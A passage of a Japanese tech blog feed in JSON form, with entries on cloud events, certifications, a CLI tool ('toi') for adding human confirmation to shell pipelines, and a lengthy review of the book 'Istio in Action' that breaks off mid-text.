video.py今後のイベント情報langchain.connpass.com↑小渕登壇しますオンサイトのみで一般参加は2名オーバーこの日天気悪いかも気をつけてお越しください※【追記】台風接近に伴い、オンライン開催への切り替えまたは延期してオンサイト開催にするとのことです。3-shake.connpass.com↑小渕は運営やっております。SREのイベントですが、LLMのオブザーバビリティという話があります!無料懇親会付きです!pages.sreake.com↑小渕登壇します。無料懇親会付きです!","link":"https://shu-kob.hateblo.jp/entry/2024/08/13/193929","isoDate":"2024-08-13T10:39:29.000Z","dateMiliSeconds":1723545569000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Docker Build Check について検証をしてみた","contentSnippet":"はじめに こんにちは、Sreake 事業部 佐藤慧太@(SatohJohn) です。 以下の docker build check という機能について、検証をし、Google Cloud の Cloud Build に組 […]The post Docker Build Check について検証をしてみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/docker-build-check/","isoDate":"2024-08-13T01:00:00.000Z","dateMiliSeconds":1723510800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Professional Cloud Architectに合格","contentSnippet":"お盆休みいかがお過ごしでしょうか?8/10, 11, 12と3連休だった方は13からのお仕事頑張ってください。8/13以降も休みの方は引き続き休みをお楽しみください。さて、8月10日に受けたGoogle Cloud Certified - Professional Cloud Architectに合格しました!shu-kob.hateblo.jp以前合格したGoogle Cloud Certified - Professional Cloud DevOps Engineerに続き、Google Cloudプロフェッショナル2つ目です!実はDevOpsもCloud Architectもそれぞれ初回で落ちて2回目で受かっています。初回は勉強、理解不足でしたね。なお、私のGoogle Cloud経験は1年未満なので、実戦が少ない分、勉強を頑張らねばなりません。Udemyの以下の模擬試験がオススメです!click.linksynergy.comGoogle Cloudをお使いの皆さんも認定試験にチャレンジしてみてください!","link":"https://shu-kob.hateblo.jp/entry/2024/08/12/224136","isoDate":"2024-08-12T13:41:36.000Z","dateMiliSeconds":1723470096000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"テレビでGeminiのCMをよく見るようになりました","contentSnippet":"youtu.beいろんなモデルがあり、OpenAIのChatGPTが知名度のある中、最近テレビでGeminiのCMをよく見かけるようになりました。GeminiはGoogleがやってるだけあって、GoogleのCMとして出しやすいですよね。個人的にもGemini派なので、ユーザが増えて、モデルがどんどん進化していってくれるといいと思いました。","link":"https://shu-kob.hateblo.jp/entry/2024/08/11/235818","isoDate":"2024-08-11T14:58:18.000Z","dateMiliSeconds":1723388298000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Google Cloud Next Tokyo’24 勝手にRecap コンテナ最新アップデート紹介 ~ GKE 編 ~","contentSnippet":"これはなに?先日、Google Cloud Next Tokyo’24が開催されました。Google Cloud Next Tokyo ’24 の セッションを(勝手に)Recap したものになります基調講演のアーカイブも公開されているので、見逃した方はぜひご覧くださいhttps://cloudonair.withgoogle.com/events/next-tokyo-24気になる箇所だけ見たい方は、目次から飛んでください! セッション進化するコンテナ環境: Google Kubernetes Engine と Cloud Run の最新アップデートと使い所を徹底解...","link":"https://zenn.dev/yokoo_an209/articles/google-next-recap-gke","isoDate":"2024-08-09T01:18:24.000Z","dateMiliSeconds":1723166304000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Google Cloud Next Tokyo’24 勝手にRecap コンテナ最新アップデート紹介 ~ Cloud Run 編 ~","contentSnippet":"これはなに?先日、Google Cloud Next Tokyo’24が開催されました。Google Cloud Next Tokyo ’24 の セッションを(勝手に)Recap したものになります前回の GKE 編に引き続き、今回は Cloud Runについての最新アップデートのご紹介です!https://zenn.dev/yokoo_an209/articles/google-next-recap-gke セッション進化するコンテナ環境: Google Kubernetes Engine と Cloud Run の最新アップデートと使い所を徹底解説https:/...","link":"https://zenn.dev/yokoo_an209/articles/google-next-recap-cloud-run","isoDate":"2024-08-09T01:18:24.000Z","dateMiliSeconds":1723166304000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"SRE支援の効果的なアプローチについて(SRE NEXT 2024登壇のRecap)","contentSnippet":"この記事は、SRE NEXT 2024で、株式会社スリーシェイクのスポンサーセッションとして登壇した「内製化を見据えた効果的なSRE支援のアプローチ」をセルフでRecapしたものになります。 はじめに株式会社スリーシェイクのSreake事業部に所属しています。2024年8月3日、4日に開催された SRE NEXT 2024 に「内製化を見据えた効果的なSRE支援のアプローチ」という題で登壇しました。20分の枠なのに60枚弱のスライドを作成するという暴挙に出てしまい、端折りながらの説明となってしまったため、Recapとして登壇内容を解説します。 想定読者本登壇資料は、SRE...","link":"https://zenn.dev/kojake_300/articles/b977011a04fce4","isoDate":"2024-08-08T09:18:01.000Z","dateMiliSeconds":1723108681000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"Google Cloud Next Tokyo’24 勝手にRecap コンテナ最新アップデート紹介 / google-cloud-next-recap-gke-cloud-run","contentSnippet":"","link":"https://speakerdeck.com/parupappa2929/google-cloud-next-recap-gke-cloud-run","isoDate":"2024-08-08T04:00:00.000Z","dateMiliSeconds":1723089600000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"Pandoc ONLINE #1で「PandocとLuaフィルタで作るプログラマブルな文書」について発表しました","contentSnippet":"日本Pandocユーザ会主催の勉強会「Pandoc ONLINE #1」が開催されました。コミュニティ主催のsky_yさんが活動を再開していこうとしてらっしゃるので、これからが楽しみですね。勉強会後の雑談会では、Pandocの技術的な話はしばしば出てくるが、業務でどう使われているか、みたいな話がなかなか出てこないという感想もあったので、コミュニティが盛り上がってこのあたりの知見共有も進むといいなと思います。","link":"https://blog.atusy.net/2024/08/07/pandoc-online-1/","isoDate":"2024-08-07T00:00:00.000Z","dateMiliSeconds":1722988800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rで関数定義のジャンプがしょぼいわけ","contentSnippet":"RStudioなどのエディタは、関数の定義ジャンプ機能を備えます。https://cran.r-project.org/web/packages/languageserver/index.html)。","link":"https://blog.atusy.net/2024/08/07/r-def-jumpt/","isoDate":"2024-08-07T00:00:00.000Z","dateMiliSeconds":1722988800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"運用では確認以外を自動化したいという時もある","contentSnippet":"はじめにこんにちは、ウェブオペレーターの皆さん。今日は、運用の自動化を推進しつつ、重要な確認ステップを保持する方法について、私が開発したツール「toi」を交えてお話しします。また、これらのツールが完全な自動化が許されない環境や状況でも活用できる方法に焦点を当てていきます。マスタリングLinuxシェルスクリプト 第2版 ―Linuxコマンド、bashスクリプト、シェルプログラミング実践入門作者:Mokhtar Ebrahim,Andrew Mallettオーム社Amazontoiの開発背景toiの開発は、私自身がウェブオペレーションの現場で直面した具体的な課題から始まりました。完全な自動化を目指す一方で、重要な判断には人間の介入が必要な場面が多々ありました。例えば:スクリプト1の実行結果を確認し、その出力をスクリプト2の入力としてコピーペーストする必要がある場合。本番環境で実行する前に、一旦出力を確認するために実行コマンドを削除して dry-run する必要がある場合。これらの操作は、既存の自動化ツールでは効率的に処理することが難しく、人間の手動介入が必要でした。そこで、Unixパイプラインの柔軟性を活かしつつ、必要な箇所で人間の判断を挟むことができるツールの開発を考えました。これが toiの誕生につながったのです。運用自動化の現実と課題運用の自動化は効率性と一貫性を高める素晴らしい方法です。しかし、現実には完全な自動化が許されない、あるいは望ましくないケースが多々あります。組織のポリシー:特定の操作に人間の承認が必須な場合リスク管理:ミスの影響が甚大な操作異常検知:通常とは異なる状況で、人間の判断が必要な場合段階的な自動化:完全自動化への移行過程で、部分的に人間の確認を残す必要がある場合これらの状況下では、完全な自動化と手動操作の間でバランスを取る必要があります。そこで登場するのが「toi」です。toiの紹介「toi」(発音は「とい」)は、Unixスタイルのパイプラインに対話的な確認ステップを追加するコマンドラインツールです。このツールを使用することで、自動化プロセスに人間の判断を効果的に組み込むことができます。github.comtoiの主な特徴パイプライン内での対話的確認カスタマイズ可能なタイムアウトデフォルト応答オプション柔軟なプロンプトメッセージ軽量で高速な動作他のUnixツールとの優れた互換性toiの技術的詳細toiは、Go言語で実装されています。その主な技術的特徴は以下の通りです:標準入出力の効率的な処理: Goのio/ioutilパッケージを活用し、大量のデータでも効率的に処理します。並行処理: Goのgoroutineを使用し、タイムアウト処理と入力待ちを並行して行います。シグナルハンドリング: SIGINT(Ctrl+C)などのシグナルを適切に処理し、ユーザーが操作を中断できるようにしています。toiは、Unixパイプラインとの親和性が高く、学習コストが低いという点で他のツールと差別化されています。完全自動化が許されない状況でのtoiの活用重要データの更新確認echo \\"UPDATE user_data SET status = \'INACTIVE\' WHERE last_login < \'2023-01-01\';\\" | toi -p \\"長期間ログインのないユーザーを非アクティブにしますか? (y/n): \\" | mysql user_db ユーザーステータスの一括変更など、重要な更新操作の前に確認が必要な場合に有効です。システム設定変更の承認./generate_config_update.sh | toi -t 300 -p \\"新しい設定を適用しますか? (y/n): \\" | sudo apply_config システム設定の変更に必ず人間のレビューを要求している場合に使用できます。大規模データ操作の制御find /data/old_records -type f -mtime +365 | toi -y -p \\"1年以上経過した記録を削除しますか? (Y/n): \\" | xargs rm 大量のデータ削除など、影響範囲が大きい操作で人間の判断を仰ぐことができます。重要な自動処理の承認echo \\"実行する重要な処理の内容\\" | toi -t 600 -p \\"この重要な処理を実行しますか? (y/n): \\" && ./run_critical_process.sh 組織のポリシーで、重要な自動処理の実行前に人間の承認が必要な場合に利用できます。toiによる運用改善のポイントリスク管理の向上: 重要な操作前に人間の判断を介在させ、潜在的なリスクを軽減します。段階的自動化の実現: 完全自動化への移行過程で、徐々に人間の介入を減らしていくことができます。異常検知と対応: 通常と異なる状況を人間に通知し、適切な判断を仰ぐことができます。操作の記録: 重要な操作に対する承認プロセスを記録し、後日の確認に備えることができます。柔軟なワークフロー構築: 既存の自動化スクリプトに容易に組み込め、段階的な改善が可能です。導入と使用方法toiは簡単に導入できます。Go環境がある場合は以下のコマンドでインストールできます:go install github.com/nwiizo/toi@latestまたは、GitHubリリースページから直接バイナリをダウンロードすることもできます。基本的な使用方法は以下の通りです:command1 | toi [オプション] | command2主なオプション:- -t, --timeout int: タイムアウト時間(秒)を設定- -y, --yes: 入力がない場合にデフォルトでYesを選択- -n, --no: 入力がない場合にデフォルトでNoを選択- -p, --prompt string: カスタムプロンプトメッセージを設定制限事項と注意点現在のバージョンでは、複雑な条件分岐やループ処理には対応していません。大量のデータを扱う場合、メモリ使用量に注意が必要です。セキュリティ上の理由から、リモート実行には適していません。まとめ「toi」を活用することで、完全な自動化が許されない状況下でも、運用の効率化と人間の判断の両立が可能になります。組織のポリシーやリスク管理など、様々な理由で人間の介入が必要な場面で、toiは自動化と手動操作のバランスを取るための強力なツールとなります。自動化を推進しながらも、クリティカルな判断には人間の介入を残すという、バランスの取れたアプローチを実現するツールとして、ぜひ「toi」を検討してみてください。組織の要件に合わせて柔軟に運用プロセスを設計し、効率性と安全性の両立を図ることができます。あれがほしいとかこの機能が無いとはPRいただきたいです。あと、みんなGithubにStarして♥","link":"https://syu-m-5151.hatenablog.com/entry/2024/08/04/184713","isoDate":"2024-08-04T09:47:13.000Z","dateMiliSeconds":1722764833000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"【SRE-NEXT 2024】内製化を見据えた効果的なSRE支援のアプローチ / SRE support approach","contentSnippet":"","link":"https://speakerdeck.com/kojake_300/sre-next-2024-nei-zhi-hua-wojian-ju-etaxiao-guo-de-nasrezhi-yuan-noapuroti","isoDate":"2024-08-03T04:00:00.000Z","dateMiliSeconds":1722657600000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":"@Hiroki__IT が目の前にやってきて私にIstioのこと教えてくれた。- Istio in Action の読書感想文","contentSnippet":"はじめにマイクロサービスアーキテクチャの台頭により、サービスメッシュ技術は現代のクラウドネイティブ環境において外せない選択肢の一つとなっています。 その理由は明確です。マイクロサービスに求められる非機能要件の多くは類似しており、これをアプリケーション側で個別に実装すると、開発者やインフラエンジニアの負担が増大するからです。ここで登場するのがサービスメッシュです。サービスメッシュの採用により、これらの非機能要件をインフラ層で一元管理することが可能となり、アプリケーション開発者とインフラエンジニアの責務を明確に分離できます。つまり、各エンジニアが自身の専門領域にフォーカスできるのです。これは単なる効率化ではなく、イノベーションを加速させるためサービス開発する上での労苦をなくします。そして、サービスメッシュの世界で圧倒的な存在感を放っているのがIstioです。その包括的な機能と広範な採用で、Istioは多くの企業から信頼を得ています。「Istio in Action」は、このIstioの真髄を理解し、実践的に活用するための道標となる一冊です。Istio in Action作者:Posta, Christian E.,Maloku, RinorManningAmazonしかし、ここで一つの疑問が浮かびます。なぜ日本国内ではIstioの普及が進んでいないのでしょうか? 多くの企業がマイクロサービスへの移行を検討している一方で、サービスメッシュ技術の導入には慎重な姿勢を示しています。例えば、国内の主要なクラウドネイティブ技術カンファレンスであるCloudNative Days Tokyoでも、Istioに関するセッションの数は比較的少ない印象です。国内のセッションだと「1年間のシステム運用を通して分かったIstioの嬉しさと活用における注意点」も好きです。もう誰にも歌わなくなった。大好きなIstioの歌を俺は大きな声で歌うよ 。しかし、希望はあります。同イベントのハンズオンではIstioの利用が見られ、実践的な学習の機会が提供されています。以下の動画は、サービスメッシュの基本的な使用方法を学ぶための絶好の入門ガイドです。クラウドネイティブなシステムを触る予定がある方は、ぜひご覧ください。www.youtube.com本読書感想文の目的は明確です。Istioを実際に採用していない、あるいは採用の予定がない読者の方々にも、Istioの魅力と可能性を伝えることです。なぜなら、サービスメッシュ技術は現代のソフトウェアアーキテクチャの重要なトレンドの一つであり、その概念や原則を理解することは、今後のIT業界の動向を把握する上で非常に有益だからです。glossary.cncf.io「Istio in Action」は、Istioの基本概念から高度な運用テクニック、さらにはカスタム拡張まで、幅広いトピックをカバーする包括的な指南書です。著者のChristian Posta氏とRinor Maloku氏は、豊富な実務経験と深い技術的知見を基に、理論と実践のバランスの取れた解説を提供しています。本書の真の価値は、単なる技術解説に留まらない点にあります。Istioの導入がもたらす組織的な影響や、実際の運用環境での課題にも焦点を当てているのです。これは、Istioを実際のプロダクション環境に導入し、効果的に活用しようとする読者にとって、まさに宝の山と言えるでしょう。本書は2022年3月に出版されており、本読書感想文を執筆している2024年8月時点では約2年半が経過しています。Istioは急速に進化を続けているため、技術的な詳細や最新の機能については、必ず公式ドキュメントを参照することをお勧めします。しかし、本書で説明されている基本的な概念、アーキテクチャの原則、そして実践的なアプローチは、時代を超えて価値があり、Istioを理解し活用する上で重要な基盤となります。istio.io本読書感想文では、「Istio in Action」の各章の主要な内容を要約し、その実践的な価値と2024年現在の技術動向との関連性を考察します。また、必要に応じて最新の情報との相違点にも触れていきます。Istioを学び、導入を検討している開発者、SRE、アーキテクトの方々はもちろん、サービスメッシュ技術に興味を持つ全ての読者にとって、本書がどのような価値を提供するかを明らかにしていきます。また、本読書感想文の執筆にあたり、@Hiroki__ITさんから多大なご貢献をいただきました。専門知識によるレビューのおかげで、本文の方向性、品質と正確性が大幅に向上しました。この場を借りて、ご尽力に心から感謝申し上げます。彼のIstioに関する有益なブログはこちらでご覧いただけます。Istioについてさらに深く学びたい方には、このリソースを強くお勧めします。彼も大きな声で歌ってます。みんなも好きな技術について歌ってほしいです。hiroki-hasegawa.hatenablog.jpはじめに2024年現在の技術動向との比較コアアーキテクチャの安定性主要な進化と新機能Part 1 Understanding Istio1 Introducing the Istio service meshクラウドネイティブアーキテクチャの課題サービスメッシュとIstioの導入Istioの主要機能と利点1. サービスレジリエンス2. トラフィック制御3. セキュリティ4. 可観測性Istioと他のテクノロジーとの比較Istioの実際の使用シナリオまとめ2 First steps with IstioIstioのインストールと基本設定Istioのコントロールプレーンの理解アプリケーションのデプロイとサービスメッシュへの統合トラフィック制御と高度なルーティング観測可能性とレジリエンスまとめ3 Istio\'s data plane: The Envoy proxyEnvoyプロキシの概要と主要機能Envoyの設定と動作Envoyの動的設定と xDS APIEnvoyの可観測性とトラブルシューティングIstioとEnvoyの関係実践的な応用と提案まとめPart 2 Securing, observing, and controlling your service’s network traffic4 Istio gateways: Getting traffic into a clusterIstio Gatewayの基本概念Gateway設定の実践セキュリティ設定高度な機能と運用上の考慮事項実践的な応用と提案まとめ5 Traffic control: Fine-grained traffic routingトラフィック制御の基本概念カナリアリリースとトラフィックシフティングトラフィックミラーリングFlaggerを使用した自動カナリアデプロイメントクラスター外部へのトラフィック制御実践的な応用と提案まとめ6 Resilience: Solving application networking challengesクライアントサイドロードバランシングロケーションアウェアロードバランシングタイムアウトとリトライサーキットブレーキング実践的な応用と提案まとめ7 Observability: Understanding the behavior of your servicesIstioの観測可能性アーキテクチャメトリクス収集の詳細分散トレーシングの実装アクセスロギングの高度な設定観測可能性データの活用まとめ8 Observability: Visualizing network behavior with Grafana, Jaeger, and KialiGrafanaを用いたメトリクスの可視化分散トレーシングとJaegerKialiを用いたサービスメッシュの可視化実践的な応用と提案まとめ9 Securing microservice communicationサービス間認証(mTLS)エンドユーザー認証(JWT)認可ポリシー外部認可サービスとの統合実践的な応用と提案まとめPart 3 Istio day-2 operations10 Troubleshooting the data plane技術的詳細と実践的応用データプレーンの同期状態の確認Kialiを使用した設定の検証Envoy設定の詳細分析アクセスログの活用まとめ11 Performance-tuning the control plane技術的詳細と実践的応用コントロールプレーンの目標パフォーマンスに影響を与える要因パフォーマンスモニタリングパフォーマンス最適化技術実践的な応用と提案まとめPart 4 Istio in your organization12 Scaling Istio in your organizationマルチクラスターサービスメッシュの利点技術的詳細と実践的応用マルチクラスター導入モデルクラスター間のワークロード発見クラスター間の接続性クラスター間の認証と認可実践的な応用と提案まとめ13 Incorporating virtual machine workloads into the mesh技術的詳細と実践的応用Istioの最新VMサポート機能VMワークロードの統合プロセスセキュリティと観測可能性実践的な応用と提案まとめ14 Extending Istio on the request path技術的詳細と実践的応用Envoyフィルターの理解EnvoyFilterリソースの使用LuaスクリプトによるカスタマイズWebAssemblyによる拡張実践的な応用と提案まとめおわりにおまけ2024年現在の技術動向との比較「Istio in Action」が2022年3月に出版されてから2年半が経過し、Istioは継続的な進化を遂げています。2024年8月現在、Istioの最新安定版は1.22でありistio.ioこの間に多くの機能追加や改善が行われました。しかし、Istioのコアアーキテクチャは大きく変わっていません。blog.christianposta.comコアアーキテクチャの安定性Istioの基本的な設計哲学と主要コンポーネントは維持されています:カスタムリソースによるEnvoy設定の抽象化: VirtualServiceやDestinationRule,GatewayなどのCRDを使用して、トラフィックを制御する為に複雑なEnvoy設定を抽象化する仕組みは変わっていません。コントロールプレーンからデータプレーンへの設定配布: istiodがxDS APIを通じてEnvoyプロキシに設定を配布する方式は継続されています。サイドカーインジェクション: istio-initとistio-proxyコンテナを自動的にPodにインジェクトする仕組みは、依然としてIstioの中核機能です。トラフィックキャプチャ: istio-iptablesを使用したトラフィックのキャプチャと制御の仕組みも変わっていません。主要な進化と新機能アンビエントメッシュ(Ambient Mesh): Istio 1.19で導入されたアンビエントメッシュは、サービスメッシュのパラダイムシフトを目指しています。従来のサイドカーモデルと比較して、以下の利点があります:リソース効率の向上: サイドカーレスアーキテクチャにより、CPUとメモリの使用量が大幅に削減。スケーラビリティの改善: 大規模クラスターでのパフォーマンスが向上。導入の簡素化: アプリケーションコンテナの変更が不要。 しかし、2024年8月時点でベータ版に昇格したみたいです。しかし、本番環境での採用には慎重なアプローチが必要です(まだ、αだと思っていたんですけど昇格していたみたいです。@toversus26さんに教えてもらいました。ありがとうございます。)。istio.ioWebAssembly (Wasm) の進化: Envoyの拡張性が大幅に向上し、多言語でのカスタムフィルター開発が可能になりました。例えば:Rust、C++、AssemblyScriptなどでのフィルター開発が可能。パフォーマンスオーバーヘッドが従来のLuaスクリプトと比較して10-20%改善。セキュリティが強化され、サンドボックス環境での実行が可能に。istio.ioマルチクラスター・マルチクラウド対応の強化:複数のKubernetesクラスター間でのサービスディスカバリとロードバランシングが改善。異なるクラウドプロババイダー(AWS、GCP、Azure)間でのシームレスな統合が可能に。ネットワークトポロジーに基づいた最適なルーティング決定が可能。istio.ioセキュリティの強化:SPIFFE (Secure Production Identity Framework For Everyone) の完全サポート。より細かな粒度でのアクセス制御:サービス、メソッド、パスレベルでの認可ポリシー。外部認証プロバイダ(OAuth、OIDC)との統合が改善。istio.io可観測性の強化:OpenTelemetryとの完全統合:トレース、メトリクス、ログの統一的な収集が可能。Kialiの機能強化:リアルタイムのサービスメッシュ可視化とトラブルシューティング機能の向上。カスタムメトリクスの柔軟な定義と収集が可能に。istio.ioKubernetes Gateway API対応:Kubernetes Gateway APIの完全サポートにより、より標準化されたトラフィック管理が可能。マルチクラスター環境での一貫したGateway設定が容易に。istio.ioパフォーマンスの最適化:Envoyプロキシのメモリ使用量が20-30%削減。eBPF (extended Berkeley Packet Filter) の活用によるネットワークパフォーマンスの向上。istio.ioWaypoint Proxy:サービス間の通信制御をより細かく管理可能。マルチクラスター環境でのトラフィック管理が大幅に簡素化。istio.ioIstioは急速に進化を続けており、その基本的な概念や主要機能は「Istio in Action」で説明されているものと大きく変わっていません。しかし、新機能の追加や既存機能の改善により、より柔軟で強力なサービスメッシュの構築が可能になっています。組織の規模やニーズに応じて、Istioの採用を検討し、マイクロサービスアーキテクチャの課題解決に活用することができるでしょう。Part 1 Understanding Istio1 Introducing the Istio service mesh「Istio in Action」の第1章は、現代のクラウドネイティブアーキテクチャが直面する課題と、それらを解決するためのサービスメッシュ、特にIstioの役割について包括的に解説しています。著者は、マイクロサービスアーキテクチャの複雑さと、それに伴う課題に焦点を当て、Istioがどのようにしてこれらの問題を解決するかを詳細に説明しています。クラウドネイティブアーキテクチャの課題著者は、現代のソフトウェア開発が直面する主な課題を以下のように特定しています。ネットワークの信頼性の欠如: クラウド環境では、ネットワークの障害が頻繁に発生します。これは、サービス間の通信に大きな影響を与え、システム全体の安定性を脅かす可能性があります。サービス間の依存関係管理: マイクロサービスの数が増えるにつれ、サービス間の依存関係が複雑化します。これにより、障害の伝播やパフォーマンスの問題が発生しやすくなります。分散システムの複雑さ: 多数のサービスが協調して動作する必要があり、全体の挙動を把握することが困難になります。これは、デバッグや問題解決を非常に困難にします。一貫したセキュリティポリシーの適用: 各サービスで個別にセキュリティを実装すると、一貫性の確保が難しくなります。これは、セキュリティホールを生み出す可能性があります。システム全体の可観測性の確保: 分散システムでは、問題の根本原因を特定することが困難です。これは、迅速な問題解決を妨げ、システムの信頼性に影響を与えます。Figure 1.1 ACMEMono modernization with complementary services より引用この図は、モノリシックなアプリケーション(ACMEmono)とService A、Service B、Service Cが分離され、それぞれが独立したサービスとして機能していることがわかります。この構造は、上記の課題を顕著に示しています。例えば、Service AがService Bに依存している場合、Service Bの障害がService Aにも影響を与える可能性があります。また、各サービスが独自のセキュリティ実装を持つ場合、一貫したセキュリティポリシーの適用が困難になります。著者は、これらの課題に対処するための従来のアプローチとして、アプリケーション固有のライブラリ(例:Netflix OSS)の使用を挙げています。しかし、このアプローチには以下のような問題があると指摘しています。言語やフレームワークに依存する: 例えば、Netflix OSSはJava中心のライブラリセットであり、他の言語で書かれたサービスには適用が難しいです。新しい言語やフレームワークの導入が困難: 新しい技術を導入する際に、既存のレジリエンスパターンを再実装する必要があります。ライブラリの維持と更新が煩雑: 各サービスで使用されているライブラリのバージョンを一貫して管理することが困難です。Figure 1.3 Application networking libraries commingled with an application より引用この図は、従来のアプローチでは、各アプリケーションが個別にネットワーキングライブラリを実装する必要があることを示しています。これは、一貫性の確保や保守の面で課題を生み出します。例えば、Service AとService Bが異なる言語で実装されている場合、それぞれが異なるライブラリセットを使用することになり、結果として異なるレジリエンスパターンが適用される可能性があります。サービスメッシュとIstioの導入著者は、これらの課題に対する解決策としてサービスメッシュ、特にIstioを紹介しています。Istioは以下の主要な機能を提供することで、これらの課題に対処します。サービスレジリエンス: リトライ、タイムアウト、サーキットブレーカーなどの機能を提供トラフィック制御: 細かなルーティング制御やカナリアデプロイメントの実現セキュリティ: 相互TLS(mTLS)による通信の暗号化と認証可観測性: メトリクス収集、分散トレーシング、ログ集約Figure 1.8: A service mesh architecture with co-located application-layer proxies (data plane) and management components (control plane) より引用この図は、サービスメッシュのアーキテクチャを示しています。各アプリケーションにサイドカーとしてデプロイされたプロキシ(データプレーン)と、それらを管理するコントロールプレーンの関係が明確に表現されています。こちら、サービスメッシュに関してはこちらの動画もオススメです。www.youtube.com著者は、Istioのアーキテクチャを以下のように詳細に説明しています。データプレーン:Envoyプロキシをベースとしています。各サービスのサイドカーとしてデプロイされ、すべてのネットワークトラフィックを制御します。トラフィックの暗号化、ルーティング、負荷分散、ヘルスチェックなどを実行します。コントロールプレーン:istiodと呼ばれる中央管理コンポーネントで構成されています。ポリシーの適用や設定の配布を行います。証明書の管理、サービスディスカバリ、設定の検証などの機能を提供します。Figure 1.9 Istio is an implementation of a service mesh with a data plane based on Envoy and a control plane. より引用この図は、Istioの具体的な実装を示しています。Envoyプロキシがデータプレーンとして機能し、istiodがコントロールプレーンとして全体を管理している様子が描かれています。例えば、新しいサービスがデプロイされると、istiodはそのサービスの存在を検知し、関連するすべてのEnvoyプロキシに新しい設定を配布します。これにより、新しいサービスへのトラフィックが適切にルーティングされ、セキュリティポリシーが適用されます。Istioの主要機能と利点著者は、Istioの主要機能とその利点を以下のように詳細に説明しています。1. サービスレジリエンスIstioは、Envoyプロキシを通じて以下のレジリエンス機能を提供します。リトライ: 一時的な障害からの自動回復を行います。例えば、ネットワークの瞬断によるエラーを自動的にリトライすることで、ユーザーへの影響を最小限に抑えます。タイムアウト: 長時間応答のないリクエストを制御します。これにより、1つのスロークエリがシステム全体のパフォーマンスを低下させることを防ぎます。サーキットブレーカー: 障害のあるサービスへのトラフィックを遮断します。例えば、特定のサービスが頻繁にエラーを返す場合、一定時間そのサービスへのリクエストを遮断し、システム全体の安定性を保ちます。これらの機能により、システム全体の安定性が向上し、障害の影響を最小限に抑えることができます。我らが師匠のyteraokaさんがIstio の timeout, retry, circuit breaking, etcというブログを4年前に書いているので是非、読んで下さい。sreake.com2. トラフィック制御Istioのトラフィック管理機能には以下が含まれます。細かなルーティング制御: HTTPヘッダーやその他のメタデータに基づいてルーティングを制御します。例えば、特定のユーザーグループからのリクエストを新しいバージョンのサービスにルーティングすることができます。カナリアデプロイメント: 新バージョンへの段階的なトラフィック移行を実現します。例えば、新バージョンに最初は5%のトラフィックのみを送り、問題がなければ徐々に増やしていくことができます。負荷分散: 高度な負荷分散アルゴリズムを適用します。ラウンドロビン、最小接続数、重み付けなど、様々な方式を選択できます。これらの機能により、新機能の安全なロールアウトやA/Bテストの実施が可能になります。istio.io3. セキュリティIstioのセキュリティ機能には以下が含まれます。相互TLS(mTLS): サービス間の通信を自動的に暗号化します。これにより、中間者攻撃などのセキュリティリスクを大幅に軽減できます。アイデンティティ管理: 各サービスに強力なアイデンティティを付与します。これにより、「誰が誰と通信しているか」を正確に把握し、制御することができます。認証と認可: きめ細かなアクセス制御ポリシーを適用します。例えば、「サービスAはサービスBの特定のエンドポイントにのみアクセスできる」といったポリシーを設定できます。これらの機能により、セキュリティ管理の複雑さが大幅に軽減されます。istio.io4. 可観測性Istioは以下の可観測性機能を提供します。メトリクス収集: サービス間のトラフィック、レイテンシ、エラーレートなどを自動的に収集します。これらのメトリクスは、Prometheusなどのモニタリングツールと容易に統合できます。分散トレーシング: リクエストの全体的な流れを可視化します。例えば、ユーザーリクエストがシステム内のどのサービスを通過し、各サービスでどれくらいの時間を消費したかを追跡できます。アクセスログ: 詳細なリクエスト/レスポンスの情報を記録します。これにより、問題が発生した際の詳細な分析が可能になります。これらの機能により、システムの健全性の監視と問題の迅速な特定が可能になります。istio.ioIstioと他のテクノロジーとの比較著者は、IstioをEnterprise Service Bus(ESB)やAPI Gatewayと比較し、その違いを明確にしています。Figure 1.10: An ESB as a centralized system that integrates applicationsこの図は、従来のESBアーキテクチャを示しています。ESBが中央集権的なシステムとして機能し、全てのサービス間の通信を仲介する様子が描かれています。ESBとIstioの主な違いは以下の通りです。アーキテクチャ: ESBは中央集権的であるのに対し、Istioは分散型です。スケーラビリティ: ESBは中央のボトルネックになりやすいですが、Istioは各サービスに分散しているため、より高いスケーラビリティを提供します。機能: ESBはメッセージ変換やオーケストレーションなども行いますが、Istioはネットワーキングの問題に特化しています。Figure 1.12 The service proxies implement ESB and API gateway functionalities. より引用この図は、Istioのサービスプロキシが、ESBやAPI Gatewayの機能を分散的に実装している様子を示しています。各サービスに付随するプロキシが、それぞれの機能を担っていることがわかります。Figure 1.11 API gateway for service traffic より引用API GatewayとIstioの主な違いは以下の通りです。適用範囲: API Gatewayは主にエッジでの機能を提供しますが、Istioはサービス間の全ての通信を管理します。グラニュラリティ: Istioはより細かいレベルでのトラフィック制御が可能です。統合: IstioはKubernetesなどのプラットフォームとより密接に統合されています。著者は、Istioが以下の点でESBやAPI Gatewayと異なることを強調しています。分散アーキテクチャ: Istioは中央集権的ではなく、各サービスに分散してデプロイされます。これにより、単一障害点を排除し、高いスケーラビリティを実現しています。透明性: アプリケーションコードを変更せずに機能を提供します。開発者は既存のアプリケーションロジックを変更することなく、Istioの機能を利用できます。フォーカス: 